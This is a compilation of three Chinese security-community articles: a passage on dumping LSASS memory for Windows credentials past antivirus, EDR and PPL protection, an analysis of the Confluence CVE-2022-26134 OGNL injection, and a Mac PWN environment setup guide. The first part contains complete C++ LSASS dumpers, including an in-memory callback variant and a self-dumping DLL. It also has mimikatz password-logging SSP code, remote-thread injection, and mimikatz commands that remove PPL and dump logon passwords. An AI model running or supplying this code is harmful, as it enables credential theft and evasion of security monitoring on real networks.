<https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1>
### nim
样例代码未获取sedug权限，需要在system下使用。
<https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/minidump_bin.nim>
代码与c++差不多：
nimble install winim
nim compile -d:release --opt:size dump.nim
报错缺少gcc.exe,下载mingw并配置环境变量后编译。运行报错：
不知道什么原因，但总归是可以解决的。直接编译免杀效果一般：
## 杀转储文件绕过
很多时候我们担心导出的dump文件被杀软杀了，想要对导出部分进行加密，我们可以使用MiniDump
Callbacks将结果保存在内存中，再进行加密输出，主要依靠MiniDumpWriteDump提供的回调函数。
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
// Gets called for each lsass process memory read operation
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
// A chunk of minidump data that's been jus read from lsass.
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
绑定回调函数并调用:
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
// Dump lsass
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
主要是回调函数里的内存操作要注意，首先在堆上申请了一块内存：
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
之后再将函数执行后生成的数组放入dumpbuffer中：
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
编译后直接执行MiniDumpWriteDump返回0，执行失败，怀疑是需要sedebug权限，这里使用powershell启动成功抓取：
因为powershell是自带sebug权限的：
执行结果和想象的略有不同，看起来回调函数被多次调用了。导出内存是按块进行输出的：
这里我没调试之前是挺疑惑的，因为按我以前的理解，堆在内存中应该是不连续的，并不能像栈一样直接当连续的内存使用。
但开发的同时说申请的时候HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 _1024_
75)是一块完整的内存块，是连续的，这里可能因为栈的空间不够大，所以用了堆来存放。
完整的导出代码：
#include <iostream>
#include <TlHelp32.h>
#include <processsnapshot.h>
#pragma comment (lib, "Dbghelp.lib")
using namespace std;
// Buffer for saving the minidump
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 75);
DWORD bytesRead = 0;
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType)
{
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
// Gets called for each lsass process memory read operation
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
// A chunk of minidump data that's been jus read from lsass.
// This is the data that would eventually end up in the .dmp file on the disk, but we now have access to it in memory, so we can do whatever we want with it.
// We will simply save it to dumpBuffer.
source = callbackInput->Io.Buffer;
// Calculate location of where we want to store this part of the dump.
// Destination is start of our dumpBuffer + the offset of the minidump data
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
// Size of the chunk of minidump that's just been read.
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
printf("[+] Minidump offset: 0x%x; length: 0x%x\n", callbackInput->Io.Offset, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
int main() {
DWORD lsassPID = 0;
DWORD bytesWritten = 0;
HANDLE lsassHandle = NULL;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
LPCWSTR processName = L"";
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
// Get lsass PID
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
printf("[+] lsass PID=0x%x\n",lsassPID);
}
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Set up minidump callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
// Dump lsass
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo);
if (isDumped)
{
// At this point, we have the lsass dump in memory at location dumpBuffer - we can do whatever we want with that buffer, i.e encrypt & exfiltrate
printf("\n[+] lsass dumped to memory 0x%p\n", dumpBuffer);
HANDLE outFile = CreateFile(L"c:\\temp\\lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// For testing purposes, let's write lsass dump to disk from our own dumpBuffer and check if mimikatz can work it
if (WriteFile(outFile, dumpBuffer, bytesRead, &bytesWritten, NULL))
{
printf("\n[+] lsass dumped from 0x%p to c:\\temp\\lsass.dmp\n", dumpBuffer, bytesWritten);
}
}
return 0;
}
完整的轮子：<https://github.com/CCob/MirrorDump>
## 内存保护绕过
### 绕过敏感api hook
#### 崩溃法
已有成熟的轮子：<https://github.com/deepinstinct/LsassSilentProcessExit>
主要使用LsassSilentProcessExit这个api，通过修改注册表+远程进程注入的方式转储内存,相关的注册表键值：
#define IFEO_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"
#define SILENT_PROCESS_EXIT_REG_KEY "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\"
使用远程进程注入让lsass.exe自己调用RtlReportSilentProcessExit函数：
HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");
RtlReportSilentProcessExit_func RtlReportSilentProcessExit = (RtlReportSilentProcessExit_func)GetProcAddress(hNtdll, "RtlReportSilentProcessExit");
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RtlReportSilentProcessExit, (LPVOID)-1, NULL, NULL);
#### rpc + ssp
##### 什么是ssp
首先我们要了解什么是ssp，简单来讲ssp是系统自带的一个功能，用于对认证流程的一些补充。一般为一个dll文件，用户可以通过设置ssp参与lsass.exe原本的处理流程。
##### ssp常规使用
minilib.dll
该文件是mimikatz项目中带的dll文件，我们熟知的功能就是通过该dll记录账户的明文密码：
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}
常见的部署ssp的方法有两种：
1. 修改注册表，等待机器重启，ssp生效。
2. 使用AddSecurityPackage函数加载dll，powershell版本<https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1>
memssp
这种方法不需要重启，通过操作lassass.exe的内存记录密码：
if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(aLsass.hMemory, misc_msv1_0_SpAcceptCredentials, (DWORD) ((PBYTE) misc_msv1_0_SpAcceptCredentials_end - (PBYTE) misc_msv1_0_SpAcceptCredentials), &extForCb, &aLsass))
相比较而言这种方法不需要重启，但操作内存的行为非常敏感，容易被edr报警。
##### 导出内存
原理
我们通过ssp绕过内存保护的思路是让lasses.exe自己导出自己，也就是通过ssp装载一个dll，该dll的功能是导出自己的内存。这样看起来是没有问题，但对内存的操作还是较为危险的。xpn通过逆向windows
api
AddSecurityPackage函数，发现这个函数有rpc的调用。我们可以通过模拟这个函数rpc调用装载我们自定义的dll实现我们想要的功能。目前已经有一些现成的轮子：
* <https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e> 模拟SpAcceptCresidentials进行rpc调用的程序
* <https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0> 实现恶意功能的dll程序，这里是记录明文密码
* <https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c> dump内存的dll
结合上文我们使用MiniDumpWriteDump导出内存的功能，我们就可以绕过内存保护了。
编译模拟SpAcceptCresidentials进行rpc调用的程序，可能会遇到一些报错：
* 编译报错1：
argument of type "unsigned char *" is incompatible with parameter of type
"RPC_WSTR"
解决办法：
调整项目编码，不为unicode即可
* 编译报错2：
unresolved external symbol NdrClientCall3
解决办法：
`#pragma comment (lib, "rpcrt4.lib")`
编译导出内存的dll：
#include "pch.h"
#include <cstdio>
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <string>
#include <map>
#include <TlHelp32.h>
#include <wchar.h>
#pragma comment(lib,"Dbghelp.lib")
using namespace std;
int dump() {
DWORD lsassPID = 0;
HANDLE lsassHandle = NULL;
// Open a handle to lsass.dmp - this is where the minidump file will be saved to
HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Find lsass PID
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
LPCWSTR processName = L"";
if (Process32First(snapshot, &processEntry)) {
while (_wcsicmp(processName, L"lsass.exe") != 0) {
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
lsassPID = processEntry.th32ProcessID;
}
}
// Open handle to lsass.exe process
lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
// Create minidump
BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
dump();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
进行测试，这里path需要绝对路径，代码种并未将文件载入内存，rpc发送的只有文件名，所以需要绝对路径：
会返回rpc调用异常，但实际代码已经被执行。
#### 解钩子
某些安全产品已经开始拦截MiniDumpWriteDump这种行为，拦截的方法是通过用户模式下的API
hook，使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址。
与edr api hook对抗思路：<https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6>
工具:<https://github.com/outflanknl/Dumpert>
在《基础免杀》系列文章中介绍了多种解hook的方式可供参考。
## PPL
### 什么是PPL
Windows 8.1 引入了 Protected Process Light (PPL)
的概念，它使经过特殊签名的程序能够以不受篡改和终止的方式运行，即使是管理员用户也是如此。开启ppl的机器，就算我们直接使用任务管理器dump敏感进程如lsass.exe也无法获得转储文件：
### 配置PPL
除了单机配置，还可以通过域组策略下发的形式对所有域内机器进行设置。单机设置如图：
### 关闭PPL
常规的修改注册表的方式在域渗透的环境下并不可行，域重启会自动重新加载组策略导致又再次开启了PPL。
### 内核态bypass
#### mimikatz
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
笔者也没有接触过windows内核编程，从老外的文章来看，mimikatz简单原理是使用自签名的驱动将某个代表程序保护级别的标志位修改了，进而降低了lsass.exe的保护级别：
修改前保护级别为：
修改后：
该方法目前的问题有两个，mimikatz的驱动基本是必杀。其次mimikatz没有恢复lsass的保护级别，可能会导致系统的一些问题。
#### 使用自定义驱动
我们自定义驱动是无法获得驱动签名的，除非向微软申请。这样，我们就需要寻找到windows和驱动相关的漏洞，或寻找到一个带签名且有漏洞的驱动。
这里我们可以参考项目<https://github.com/wavestone-cdt/EDRSandblast>
在团队之前的文章《基础免杀》系列中，我们提及了很多edr依赖内核回调实现报警的功能。EDRSandBlast
枚举在保存敏感内核api的数组中定义的例程，并删除链接到预定义的 EDR 驱动程序列表的任何回调例程（支持超过 1000
个安全产品驱动程序）。我们在该项目代码中可以看到对知名安全产品的检测规则，主要是三方面的检测，比如进程、二进制文件，如下图：
包括驱动文件检查：
该程序后续在内核态干掉了edr的内核回调。后续又用了《基础免杀》中提及的disable ETW及解用户态钩子技术，达到bypass
edr的效果。同时支持绕过ppl的功能：
在开启PPL的情况下，只有运行在较高保护级别的进程才能对受保护进程进行操作。
Windows 内核使用 _EPROCESS 结构来表示内核内存中的进程，它包括一个 _PS_PROTECTION 字段，通过其 Type
(_PS_PROTECTED_TYPE) 和 Signer (_PS_PROTECTED_SIGNER) 属性定义进程的保护级别。
typedef struct _PS_PROTECTION {
union {
UCHAR Level;
struct {
UCHAR Type : 3;
UCHAR Audit : 1; // Reserved
UCHAR Signer : 4;
};
};
} PS_PROTECTION, *PPS_PROTECTION;
（Level 是一个 UCHAR，即一个 unsigned char）。 前 3 位代表保护类型（参见下面的 PS_PROTECTED_TYPE）。
它定义了流程是 PP 还是 PPL。 最后 4 位代表 Signer 类型（参见下面的 PS_PROTECTED_SIGNER），即实际的保护级别。
typedef enum _PS_PROTECTED_TYPE {
PsProtectedTypeNone = 0,
PsProtectedTypeProtectedLight = 1,
PsProtectedTypeProtected = 2
} PS_PROTECTED_TYPE, *PPS_PROTECTED_TYPE;
typedef enum _PS_PROTECTED_SIGNER {
PsProtectedSignerNone = 0, // 0
PsProtectedSignerAuthenticode, // 1
PsProtectedSignerCodeGen, // 2
PsProtectedSignerAntimalware, // 3
PsProtectedSignerLsa, // 4
PsProtectedSignerWindows, // 5
PsProtectedSignerWinTcb, // 6
PsProtectedSignerWinSystem, // 7
PsProtectedSignerApp, // 8
PsProtectedSignerMax // 9
} PS_PROTECTED_SIGNER, *PPS_PROTECTED_SIGNER;
通过在内核内存中写入，EDRSandblast 进程能够将其自身的保护级别升级到 PsProtectedSignerWinTcb-Light。
这个级别足以转储 LSASS 进程内存，因为它“支配”到 PsProtectedSignerLsa-Light，即使用 RunAsPPL 机制运行的
LSASS 进程的保护级别。
关键函数如下图所示：
直接操作内核的内存，达到SetCurrentProcessAsProtected的效果，后续使用syscall或直接在内存快照中MiniDumpWriteDump
该项目对于EDR的bypass相当比较全面，并且提供的漏洞驱动静态上相对要好很多。
### 用户态bypass
#### 从其他进程中寻找lsass进程句柄
开启ppl后我们无法获取到lsass.exe进程的句柄，但其他进程（例如防病毒软件）在其内存空间中已经打开了 LSASS 进程的句柄。
因此，作为具有调试权限的管理员，我们可以将此句柄复制到您自己的进程中，然后使用它来访问 LSASS。
事实证明，这种技术还有另一个目的。 它还可用于绕过 RunAsPPL，因为某些未受保护的进程可能通过其他方式（例如使用驱动程序）获得了 LSASS
进程的句柄。
查看pykatz的源码，逻辑很清晰：
#### PPLDump
假设被ppl保护的进程存在一个dll劫持漏洞，我们就可以在程序的内存空间中执行任意代码(和前面提到的ssp的方法有点类似)。但显然，lsass不可能存在dll劫持。
但是，\Known DLLs给了我们机会，按照Windows 上的 DLL 搜索顺序，当一个进程被创建时，它首先会遍历\Known
DLLs，然后继续搜索应用程序的目录、系统目录等等……一般只有在从磁盘加载的时候会校验文件签名。
一般的pp保护的程序加载dll直接从磁盘加载：
而ppl保护的程序会从\Known DLLs先查找，如果我们可以控制\Known
DLLs中的dll，就可以实现dll劫持的功能，进而达到在lsass的程序空间中执行代码的效果。
控制Known
DLLs相当复杂，主要使用DefineDosDevice，结合一系列的操作，相当复杂，甚至需要两次impersonate用户身份，这里不做赘述。
总之就是通过一系列操作可以新建一个内核对象，该内核对象为一个符号链接，指向我们的恶意dll的section，而并非dll文件。
我们可以使用NtCreateSection获得Section对象，但需要dll文件落地。作者使用一种从内存中直接map
dll到已有dll的技术，并且无需修改dll的本地文件。具体实现可以参考原文。
完成该操作后，我们需要找到一个进程，要满足被PPL保护且等级高于PsProtectedSignerLsa，比如PsProtectedSignerWinTcb-Light。且还要劫持目标dll后不影响程序功能，工具作者找到的进程为services.exe，被hook的dll为EventAggregation.dll：
工具作者在原项目关键步骤注释写的很清晰，感兴趣的朋友可以看原项目的代码。
同类的项目包括RIPPL。
不幸的是，在较新的win10/server2022/win11(大约2022.7更新)的版本，该方法已不再有效。因为ppl程序于pp程序一样从磁盘直接加载dll。
## 总结
目前遇到的AV/EDR对内存的保护，一类是对传统方式进行限制，如windows
definder、symantec、macfee等。一类是用户态的apiHOOK，如卡巴斯基、sophos等。
实际环境中还可能遇到既有AV/EDR，又开启PPL的情况，需要熟练掌握以上技术针对具体环境具体开发。 | 社区文章 |
# 漏洞描述
最近 Confluence 官方通报了一个严重漏洞
CVE-2022-26134，远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data
Center上执行任意代码。
# 利用范围
Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1
# 环境搭建
使用docker-compose文件进行漏洞环境搭建
使用命令docker-compose up -d成功启动环境后，查看容器id等相关信息（5050为远程调式端口）
进入容器后将/opt/atlassian目录下的confluence源码使用docker cp命令复制到本地
使用IDEA将/confluence/WEB-INF下的atlassian-bundled-plugins、atlassian-bundled-plugins-setup、lib文件拉取为依赖文件
IDEA中配置远程调式
在容器中/opt/atlassian/confluence/bin目录下修改setenv.sh文件，加入远程调式配置
访问<http://IP:8090，> 进行相关配置（需要登陆confluence官网进行证书申请）
漏洞分析环境成功搭建。
# 漏洞复现
成功命令执行
漏洞分析
以登陆请求为例，对confluence请求处理流程进行调试分析
首先访问/login.action，经过一系列Filter处理后，将进入Servlet 的分发器 ServletDispatcher
com.opensymphony.webwork.dispatcher.ServletDispatcher
在ServletDispatcher中，通过getNameSpace 、getActionName 、 getRequestMap 、
getSessionMap 、 getApplicationMap函数 ，分别去获取对应的值。（使用payload=/${4*4}/）
重点分析getNamespace函数，其对应的值为namespace
在com.opensymphony.webwork.dispatcher.ServletDispatcher#getNamespace中
通过调用com.atlassian.plugin.servlet.PluginHttpRequertWrapper#getServletPath函数，获取了请求servletPath的值
随后进入回到com.opensymphony.webwork.dispatcher.ServletDispatcher中进入getNamespaceFromServletPath函数
通过对字符串的截取 ，使得namespace 的取值为请求 servletPath 最后一个"/"之前的部分。
根据com.opensymphony.webwork.dispatcher.ServletDispatcher#serviceAction函数
到com.opensymphony.xwork.DefaultActionProxy#execute，实例化 DefaultActionProxy
对象，调用其 execute 函数
随后进入com.opensymphony.xwork.DefaultActionlnvocation#invoke函数，通过Next获取拦截器对象
继续跟进来到com.opensymphony.xwork.interceptor.Aroundlnterceptor#intercept，发现invoke函数通过调用intercept方法，形成迭代循环
通过不断调式，发现在满足一定条件之后，将不会继续调用invoke函数，而是将返回 notpermitted 并赋值给 resultCode，跳出循环。
随后进入com.opensymphony.xwork.ActionChainResult#execute函数
这里通过getNamespace获取namespace的值，前面我们已经分析出来：namespace的取值为请求servletPath最后一个"/"之前的部分
继续跟进，在com.opensymphony.xwork.ActionChainResult中，会调用translateVariables函数对OGNL表达式进行解析，表达式的值为namespace的取值
在com.opensymphony.xwork.util.TextParseUtil#translateVariables中
调用了com.opensymphony.xwork.util.OgnlValueStack#findValue函数对表达式进行解析
一系列操作之后，findValue返回的字符串为16
成功触发 OGNL 表达式注入
# 修复建议
建议升级到Atlassian Confluence Server and Data Center至安全版本。
下载链接：
<https://www.atlassian.com/software/confluence/download-archives>
# 沙箱绕过
从 v7.15 系列开始，Confluence 在 OGNL 表达式解析时加入了沙箱限制，采取了黑名单、白名单等方式。
绕过的技巧：白名单（限制为静态方法调用）中，仍然有一些静态方法可绕过沙箱限制或者沙箱本身逻辑上也存在相关缺陷可实现方法调用。
# 参考材料
<https://www.little2pig.work/archives/cve-2022-26134>
<https://my.atlassian.com/products/index>
<https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis>
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-26134>
<https://www.tarlogic.com/blog/cve-2022-26134-zero-day-vulnerability-affecting-atlassian-confluence/> | 社区文章 |
# Mac 环境下 PWN入门系列（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 前言
一个菜🐔web狗的转型之路,记录下自己学习PWN的过程。
## 0x1 简单介绍PWN概念
主要参考下: [wiki pwn](https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/)
我们可以看到PWN具体细分话有好几个种类。
这里笔者重点研究的是: Window Kernal and Linux Kernal (window 内核 和 Linux内核)
CTF 的题目多是 关于两种系统内核的模块漏洞,自写一些漏洞代码的程序,然后通过pwn技术获取到相应程序的完全控制权限等操作。
关于Linux 和 Windows,其实利用原理是一样的,只是在实现的过程存在差异,所以入门的话，我们可以直接选择从Linux Pwn入手开始学习。
## 0x2 环境搭建
由于笔者是MAC环境,所以环境安装这块就多点笔墨了。
1.MAC PD虚拟机 Ubuntu 16.04 x64
2.pwntools
3.pwndbg
4.ida
### 0x1 mac安装pwntools
采用`homebrew` 安装很方便
1.安装pwntools
brew install pwntools
2.安装bintuils 二进制工具
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-amd64.rb
命令执行完之后,我们要导入我们pwntools的包放到环境变量。
1./usr/local/Cellar/pwntools/3.12.2_1/libexec/lib/python2.7/site-packages
2.在系统默认安装包的site-packages写个.pth文件写入上面的地址就可以了
之后我们就可以使用常用的工具
`checksec /Users/xq17/Desktop/bf743d8c386f4a83b107c49ac6fbcaaf`
最后测试下python的pwn模块
import pwn
pwn.asm("xor eax,eax")
这样就代表可以了。
参考链接:[mac下安装pwntools](https://herm1t.tk/MAC/mac%E4%B8%8B%E5%AE%89%E8%A3%85pwntools/)
### 0x2 mac配置 sublime 交互运行
我们首先需要设置sublime的 `Tools ->Build System -> New Build System`
{
"path": "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin",
"cmd": ["/usr/bin/python2.7", "-u", "$file"],
"file_regex": "^[ ]*File "(...*?)", line ([0-9]*)",
"selector": "source.python"
}
我再运行的时候,发现命令行可以执行,但是st3上面执行报这个错误
后面问了下vk师傅和google之后发现是设置环境变量的问题: [Reference
solve](https://stackoverflow.com/questions/9485699/setupterm-could-not-find-terminal-in-python-program-using-curses)
我们修改下上面的配置为
{
"path": "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin",
"env":
{
"TERM":"linux",
"TERMINFO":"/etc/zsh"
},
"cmd": ["/usr/bin/python2.7", "-u", "$file"],
"file_regex": "^[ ]*File "(...*?)", line ([0-9]*)",
"selector": "source.python"
}
这样就能解决错误啦。 但是我们还得继续解决下交互执行的问题。
我们首先下载
`command + shift + p` 输入 `install Package`
然后在弹出的框输入 `SublimeREPL` 等待下载安装。
(1) 配置快捷键
`preferences` -> `Key Binding` 添加一条
{
"keys": ["command+n"],
"caption": "SublimeREPL: Python - RUN current file",
"command": "run_existing_window_command",
"args": {
"id": "repl_python_run",
"file": "config/Python/Main.sublime-menu"}
},
{
"keys": ["command+m"],
"caption": "SublimeREPL: Python - PDB current file",
"command": "run_existing_window_command",
"args": {
"id": "repl_python_pdb",
"file": "config/Python/Main.sublime-menu"}
}
(2) 配置 `SublimeREPL` 环境变量
`sudo find / -iname "Main.sublime-menu"`
找到路径
`/Users/xq17/Library/Application Support/Sublime Text
3/Packages/SublimeREPL/config/python`
编辑 `Main.sublime-menu`
这样我们直接 `command + n` 就能在st3直接进入交互模式
**小彩蛋: sublime 的快捷键**
`新建一个group: shift + option + command + 2`
`切换group: ctrl + 1 ctrl+2 切换到第几个窗口`
[解决方案链接](https://www.cnblogs.com/JackyXu2018/p/8821482.html)
**当时我还折腾了下pycharm的解决方案(pycharm很适合开发项目,可以用来当作高效开发的选择)**
首先我们要建立python2.7作为解释器
这样配置我们的
`Environment variables: TERM=linux;TERMINFO=/etc/zsh`
这样我们的运行环境就配置好了
### 0x3 MAC 安装 IDA
这个吾爱很多,有针对mac系列的解决方案。
学习二进制吾爱破解账号应该是标配吧。
[ida帖子](https://www.52pojie.cn/search.php?mod=forum&searchid=36355&orderby=lastpost&ascdesc=desc&searchsubmit=yes&kw=ida)
### 0x4 pwndocker一体化环境
我比较懒惰,直接上docker, 推荐一个githud:
[**pwndocker**](https://github.com/skysider/pwndocker)
常用工具基本都集成了,非常方便
也有其他镜像
`docker search pwndocker`
**搭建过程:**
我们自己新建一个专门用来存放pwn文件的目录。
`/Users/xq17/Desktop/pwn`
然后在当前目录执行:
docker run -d
--rm
-h mypwn
--name mypwn
-v $(pwd):/ctf/work
-p 23946:23946
--cap-add=SYS_PTRACE
skysider/pwndocker
然后进入:
docker exec -it mypwn /bin/bash
这样基本就ok拉.
### 0x5 参考链接
[Linux pwn入门教程(0)——环境配置](https://zhuanlan.zhihu.com/p/38639740)
## 0x3 工具介绍篇
### 0x1 pwntools
参考链接: [一步一步学pwntools (看雪论坛)](https://bbs.pediy.com/thread-247217.htm)
### 0x2 gdb+pwndbg
#### 0x2.1 启动gdb
1. `gdb program` //直接gdb+文件名开始调试, frequent
2. `gdb program pid` //gdb调试正在运行的程序
3. `gdb -args programs` 解决程序带命令行参数的情况 或者 `run`之后再加上参数
#### 0x2.2 退出gdb
`quit or q`
#### 0x2.3 在gdb调试程序带适合执行shell命令
`shell command args`
#### 0x2.4 一些基础参数的介绍
>
> gdb的命令分别有:(这里我只说几个重点和常用的)
> **breakpoints(断点) stack(栈)**
> `help breakpoints` 可以查看该命令的详细帮助说明
> `help all` 列出所有命令详细说明
> `info` 用来获取被调试应用程序的相关信息
> `show` 用来获取gdb本身设置的信息
更多内容,参考一下链接([GDB命令基础，让你的程序bug无处躲藏](https://deepzz.com/post/gdb-debug.html))
我很少记忆,都是需要就去查
pwndbg的学习可以参考官方文档: <https://github.com/pwndbg/pwndbg/blob/dev/FEATURES.md>
### 0x3 ida 常用快捷键
F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。
空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。 直观，哈哈哈
shift + f12:查找字符串 逆向的时候能快速定位
n: 重命名 整理下程序的命名，能理清楚逻辑
x: 查看交叉引用
### 0x4 checksec简单介绍
保护机制介绍:
> DEP(NX) 不允许执行栈上的数据
> RELRO 这个介绍有点长分为两种:
> 1.Partial RELRO GOT表仍然可写
> 2.Full RELRO GOT表只读
> ASLR(PIE 随机化系统调用地址
> stack 栈溢出保护
下面我会针对这些保护继续介绍的,先了解下基本作用和概念。
更细内容可以参考下面的文章
[缓冲区溢出保护机制——Linux](https://www.cnblogs.com/clingyu/p/8546619.html)
## 0x4 实践篇
### 0x4.1 学习使用pwndpg来理解程序流程
我们入门先写一个`hello world`的程序
#include <stdio.h>
int hello(int a,int b)
{
return a+b;
}
int main()
{
printf("Hello world!n");
hello(1, 2);
return 0;
}
编译开启调试选项:
gcc -g -Wall test.c -o test
然后开启我们gdb调试熟悉下程序的执行流程
因为可以源码debug
直接 1.`b main` 2.`run`
我们看下栈段的信息
所以我们可以根据这些信息,画出调用`hello`函数的堆栈图。
我们输入`s`,进入到`hello`函数,先记录下没进去之前的`rbp,rsp`
这里我们按照指令去跟进call: `ni` `si` 两者区别同上
这里我补充下关于函数调用的汇编知识
> ret 指令是退出函数 等价于 pop RIP
> call 指令是调用函数 分为两步:(1)将当前的rip压入栈中 (2)转移到函数内
> push RIP
> jmp x
> push ebp 就是把ebp的 **内容** 放入当前栈顶单元的上方
> pop ebp 从栈顶单元中取出数据送入ebp寄存器中
> RSP 指向栈顶单元,会根据栈大小来动态改变。
我们验证下:
然后`si`跟进
然后我们获取下rbp的内存地址来画堆栈图
这个时候`rbp`值没改变,但是`rsp`改变了
执行完`mov rbp, rsp`
